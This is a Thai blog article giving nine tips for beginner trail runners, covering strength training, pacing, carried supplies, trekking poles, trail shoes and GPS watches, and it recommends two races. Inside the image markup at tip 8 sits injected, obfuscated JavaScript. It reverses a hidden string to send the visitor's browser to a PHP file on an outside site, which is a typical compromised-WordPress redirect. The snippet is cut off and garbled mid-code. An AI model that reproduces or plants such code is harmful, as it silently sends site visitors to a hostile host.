การวิ่งแข่งขันเทรลมีของดีมากกว่าที่คุณคิด ไม่ว่าจะเป็นการวิ่งไปพร้อมกับชมวิวทิวทัศน์ภูเขาอันสวยงาม ไม่มีรถราสัญจรไปมา ไม่ต้องหวาดระแวงจะมีรถพุ่งสวนเข้ามา ความน่าท้าทายที่มากกว่าทางวิ่งเรียบของ Road running นักวิ่งเทรลจะได้พิสูจน์ร่างกาย จิตใจและฝีมือการวิ่ง ต้องผจญกับลักษณะพื้นผิวถนนและความสูงชันที่แต่ต่างกันออกไป ให้ความรู้สึกเหมือนการเข้าไปผจญภัยในป่าใหญ่
9 เคล็ดลับสำหรับนักวิ่งเทรลมือใหม่
1. คุณค้นพบมัดกล้ามเนื้อที่ไม่เคยใช้มากก่อน เพราะการวิ่งเทรล จะวิ่งไปบนพื้นที่ไม่ราบเรียบ ชุดมัดกล้ามเนื้ออย่างเช่น ตัว Core และ Lateral stabilizing muscle จะทำงานหนักมากกว่าการวิ่งทางเรียบ ดังนั้นหากจะกระโดดมาวิ่งเทรล ก็ควรหาเวลาฝึกกล้ามเนื้อเพิ่มเติม เพื่อเสริมความแข็งแรงและช่วยลดโอกาสเกิดอาการบาดเจ็บลง
2. กล้ามเนื้อฝ่าเท้าสำคัญ สืบเนื่องเพราะพื้นผิวถนนไม่ราบเรียบ การลงเท้าทุกครั้งกล้ามเนื้อฝ่าเท้า จนถึงข้อเท้าต้องทำงานหนักเพื่อรักษาบาลานซ์ ดังนั้นการฝึกกล้ามเนื้อฝ่าเท้าและข้อเท้าจึงต้องมีเพิ่มเติมในโปรแกรม Strength training เวลาวิ่งก็จงสังเกตจุดลงเท้าให้ดี อ่านเส้นทางล่วงหน้าอย่างมีสมาธิ พื้นที่ที่จะลงเท้าและลงให้มั่นคงและมั่นใจ

3. ไปช้าๆ เพราะการวิ่งเทรลจะมีอุปสรรคตลอดระยะทางแข่งขัน ไม่ราบเรียบตลอดทางแน่นอน ต้องมีปีนไต่เขาขึ้นลง มีกระโดดข้ามหินและสิ่งกีดขวาง มือใหม่จึงควรออกตัวช้าๆ เน้น Pace สบายๆ เก็บแรงเอาไว้ให้มากที่สุด
4. อย่ากังวลกับเวลาที่เพิ่มขึ้น แม้ระยะทางเท่ากับทางเรียบแต่การวิ่งเทรลเราจะใช้เวลามากกว่าแน่นอน ทั้งนี้หลายๆ คนอาจจะรู้สึกหงุดหงิดกับ Pace ที่ใช้เวลามากขึ้นกว่าเดิมทั้งๆ ที่วิ่งออกแรงเท่ากับการวิ่งถนนเรียบ เหตุเพราะพื้นถนนเป็นดินเป็นหินลูกรัง เป็นพื้นหญ้า แรงจะถูกดูดซับ ความเร็วจะตกลง เราแนะนำให้ใจเย็นๆ ซอยเท้าให้ถี่และสั้น รักษาแรงที่ออกวิ่งให้คงที่ ดีกว่าไปปรับความเร็ว เพราะเดียวจะหมดไม่มีแรงขึ้นเขา

5. เดินบ้างวิ่งบ้าง วิ่งเทรลแรกๆ เราไม่สามารถวิ่งได้ตลอดทางแน่นอน บ้างครั้งเราต้องมีเดินบ้าง โดยเฉพาะช่วงเดินไต่เขา และเราแนะนำให้ใช้ช่วงเวลานี้ชื่นชมธรรมชาติสองข้างทาง ไม่ต้องรู้สึกเสียใจที่วิ่งตลอดไม่ได้หรือโกรธและเสียใจที่ทำไม่ได้ ให้ผ่อนคลาย พุ่งความสนใจไปที่วิวธรรมชาติ ถือว่ามาเที่ยวเดินเขาก็ได้ เก็บพักแรงเมื่อพร้อมก็ค่อยวิ่งไปต่อ
6. พกเสบียงไปด้วย หลายๆ งานจะมีข้อบังคับให้คุณต้องพกอุปกรณ์บังคับ ซึ่งส่วนมากจะเป็นเป้น้ำที่จุได้อย่างน้อย 1-1.5 ลิตรขึ้นไป ขนมขบเคียว อาหารมื้อเล็กๆ ชุดปฐมพยาบาล แผนที่ มือถือและไฟฉาย เป็นต้น จำไว้ว่าจุดบริการน้ำและอาหารจะไม่ได้อยู่ทุกๆ 2 กิโลเมตรนะ เพราะทางเป็นป่าเขา จุดบริการมันจะอยู่ในจุดที่ผู้จัดสามารถนำรถเข้าไปได้ใกล้เส้นทางมากที่สุดซะแทน นักวิ่งต้องพกน้ำและเสบียงอาหารของแข็งอย่าง Energy bar-gel ไว้เสมอ
7. Trekking Poles การวิ่งเทรลสามารถใช้อุปกรณ์เสริมช่วยได้ และอุปกรณ์ที่อยากแนะนำให้พกพาไปนั้นคือ ไม้เท้าเดินป่าหรือเจ้า Trekking Poles นั้นเอง เวลาใช้เราจะเหมือนได้เดิน 4 เท้า ช่วยลดแรงกดร่างกายลง เพราะแรงจะถูกถ่ายมายังไม้เท้าข้างหน้า นอกจากนี้มันจะช่วยสร้างจังหวะการเดินที่เร็วขึ้น โดยเฉพาะจังหวะไต่เขาจะเร็วขึ้นกว่าเดิมมาก
8. เลือกรองเท้าสำหรับการวิ่งเทรลเฉพาะ ไม่ควรนำรองเท้าวิ่งถนนธรรมดามาใช้ เนื่องจกาส่วน Outsole พื้นดอกยางและส่วนผิวด้านนอกจะอ่อน สามารถเสียหายได้ง่าย ยิ่งเวลาต้องรับแรงปะทะกับการวิ่งขึ้นลงเขา การปะทะกับก้อนหินและเศษไม้ต่างๆ เศษเสี้ยนไม้อาจจะทิ่มแทงเข้ามาได้
![M<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) ==](https://www.stepextra.com/wp-content/uploads/2017/09/men-1245982_1280.jpg)
9. นาฬิกา GPS และมือถือ เตรียมชาร์จแบตให้พร้อมและให้เต็ม 100% เพราะการวิ่งจะกินเวลานานมาก นอกจากนี้เรายังสามารถใส่แผนที่การวิ่งลงไปด้วย เอาไว้กันหลงทาง และมือถือยังเอาไว้ใช้เก็บแผนที่ ใช้ติดต่อแถมยังเอาไว้ถ่ายรูปได้ด้วยนะ โอกาสเข้าป่ามันไม่ได้มีมาบ่อยๆ
สำหรับมือใหม่ที่ยังไม่เคยวิ่งเทรล อยากจะลงลงสนามวิ่งจริงจังสักครั้ง เรามีสองสนามมาแนะนำ นั้นคือ เขาประทับช้างเทรล หรือนิยมเรียกว่า ”เทรลอนุบาล” เป็นเทรลที่มีความยากน้อยสุด ถูกออกแบบมาให้สำหรับมือใหม่เฉพาะ จัดทุกๆ กลางเดือนมิถุนายน ต่อมาก็เป็นเทรลที่โคตรหินที่สุดในภาคตะวันตก นั้นคือ ตะนาวศรีเทรล มีระยะ 10 กิโลเมตรจนถึง 60 กิโลเมตร ใครอยากสัมผัสความโหดนิดๆ ก็ทดลองลง TNT10 ดูนะครับ ไม่ยากเกินไปสำหรับมือใหม่ จะได้ประสบการณ์การวิ่งเทรลแบบสนามโหด มีการแข่งจริงจัง และรับบรรยากาศกดดันจากเหล่านักวิ่งระยะอื่นๆ มาเป็นของแถม
อ้างอิง www.active.com/